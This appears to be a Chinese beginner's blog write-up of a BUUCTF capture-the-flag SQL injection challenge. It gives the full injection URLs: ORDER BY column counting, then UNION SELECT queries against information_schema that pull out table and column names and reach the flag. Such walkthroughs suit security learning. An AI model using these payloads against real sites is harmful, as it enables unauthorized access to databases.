BUUCTF SQL注入-1

前言:

最近学了一手SQL注入,就找了个题目练练手

写的比较长,我觉得认真看完挺有用的

我的解题思路:

拿到题目打开就是这样子的,发现有个id=1,那就不用说了,肯定有注入点,然后我就试了试把1改成2和3,

看到2这样和1的差不多,那就改成3试试

然后给了点提示:那就按提示来

然后你就发现id='3',其实这个提示比较明显了,就是字符型的注入点,两个引号嘛,那我们就试试报错

何为报错:

就是输入不同的数字看页面回显

构造payload:
第一次:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' order by 3--+
第二次:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' order by 4--+

可能有同学不知道--+是什么意思,其实就是注释符,把数据库中的引号注释掉,和#差不多,有些题目要用--+,有些用#

看到3的时候正常,4的时候不正常,那就能说明从1,2,3里找注入点

现在尝试爆数字

那什么又是爆数字呢:

像我们这题,我们发现3的时候不报错,4的时候报错,那就从1,2,3里找注入点,其他题目也一样

但是我这里构造语句的时候也有点疑惑,要是知道的给我在评论区解答解答

我发现这样构造不出来:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=3' +UNION+ALL+SELECT+1,2,3--+
这样才能:
http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,2,3--+
我试了试发现id=多少都行,除了1,2,3

这样就是没爆出来的

这样就是爆出来的,那就说明注入点在2,3里,现在我们试试爆数据库名和版本

这个就说明数据库名是note,但是这个MariaDB我也第一次见,那不懂就百度

那其实就是MYSQL注入了,那就接着构造payload,爆表名,这里我就不介绍了,和报错和爆数字差不多的,那像我这个是怎么写的呢,就是根据数据库的类型去网上查输入语句

http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,table_name,3 from information_schema.tables where table_schema='note'--+

现在就是爆列名

http://2c50e4d4-75ed-4e56-8e59-21c60637a9f9.node5.buuoj.cn:81/index.php?id=0' +UNION+ALL+SELECT+1,column_name,3 from information_schema.columns where table_name='fl4g' and table_schema='note'--+

那一般情况下,flag应该是就在这个列名下面了

然后就出来了

flag:n1book{union_select_is_so_cool}

总结:

SQL注入就是一步一步来的,当然SQLMAP应该是能直接出来的,但是我觉得新手和我一样的还是可以试试手工注入的,更有成就感哈哈哈哈

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值